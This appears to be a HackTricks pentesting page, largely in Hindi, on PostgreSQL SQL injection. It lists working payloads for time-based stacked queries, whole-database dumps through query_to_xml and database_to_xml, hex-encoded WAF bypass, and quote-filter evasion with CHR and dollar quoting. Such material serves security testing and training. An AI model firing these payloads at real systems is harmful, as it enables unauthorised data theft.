PostgreSQL injection

{{#include ../../../banners/hacktricks-training.md}}


यह पृष्ठ विभिन्न तरकीबों को समझाने का प्रयास करता है जो आपको PostgreSQL डेटाबेस में पाए गए SQL injection का लाभ उठाने में मदद कर सकती हैं और उन तरकीबों को पूरा कर सकती हैं जो आप https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md पर पा सकते हैं।

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

PostgreSQL मॉड्यूल dblink अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, COPY FROM कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाएँ सक्षम करती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि इन हमलों को कैसे करें

आप इस उदाहरण को पढ़ सकते हैं यह देखने के लिए कि कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड किया जाए और फिर फ़ंक्शन dblink_connect के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को निकाला जाए।

PostgreSQL Attacks: Read/write, RCE, privesc

देखें कि PostgreSQL से होस्ट को कैसे समझौता किया जाए और विशेषाधिकार कैसे बढ़ाए जाएं:

{{#ref}} ../../../network-services-pentesting/pentesting-postgresql.md {{#endref}}

WAF bypass

PostgreSQL String functions

स्ट्रिंग्स को मैनिपुलेट करना आपको WAFs या अन्य प्रतिबंधों को बायपास करने में मदद कर सकता है।
इस पृष्ठ परआप कुछ उपयोगी स्ट्रिंग फ़ंक्शंस पा सकते हैं।

Stacked Queries

याद रखें कि PostgreSQL स्टैक्ड क्वेरीज़ का समर्थन करता है, लेकिन कई एप्लिकेशन एक त्रुटि फेंक देंगे यदि 2 प्रतिक्रियाएँ लौटाई जाती हैं जबकि केवल 1 की अपेक्षा की जाती है। लेकिन, आप अभी भी टाइम इंजेक्शन के माध्यम से स्टैक्ड क्वेरीज़ का दुरुपयोग कर सकते हैं:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML tricks

query_to_xml

यह फ़ंक्शन सभी डेटा को XML प्रारूप में केवल एक फ़ाइल में लौटाएगा। यदि आप केवल 1 पंक्ति में बहुत सारा डेटा डंप करना चाहते हैं तो यह आदर्श है:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

यह फ़ंक्शन पूरे डेटाबेस को केवल 1 पंक्ति में XML प्रारूप में डंप करेगा (यदि डेटाबेस बहुत बड़ा है तो सावधान रहें क्योंकि आप इसे DoS कर सकते हैं या यहां तक कि अपने स्वयं के क्लाइंट को भी):

SELECT database_to_xml(true,true,'');

Strings in Hex

यदि आप queries को एक स्ट्रिंग के अंदर पास कर सकते हैं (उदाहरण के लिए query_to_xml फ़ंक्शन का उपयोग करके)। आप hex के रूप में स्ट्रिंग पास करने के लिए convert_from का उपयोग कर सकते हैं और इस तरह से फ़िल्टर को बायपास कर सकते हैं:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

निषिद्ध उद्धरण

यदि आप अपने पेलोड के लिए उद्धरण का उपयोग नहीं कर सकते हैं, तो आप इसे CHR के साथ बायपास कर सकते हैं बुनियादी धाराओं के लिए (अक्षर संयोजन केवल बुनियादी प्रश्नों जैसे SELECT, INSERT, DELETE, आदि के लिए काम करता है। यह सभी SQL बयानों के लिए काम नहीं करता):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

या $ के साथ। ये क्वेरी समान परिणाम लौटाती हैं:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

{{#include ../../../banners/hacktricks-training.md}}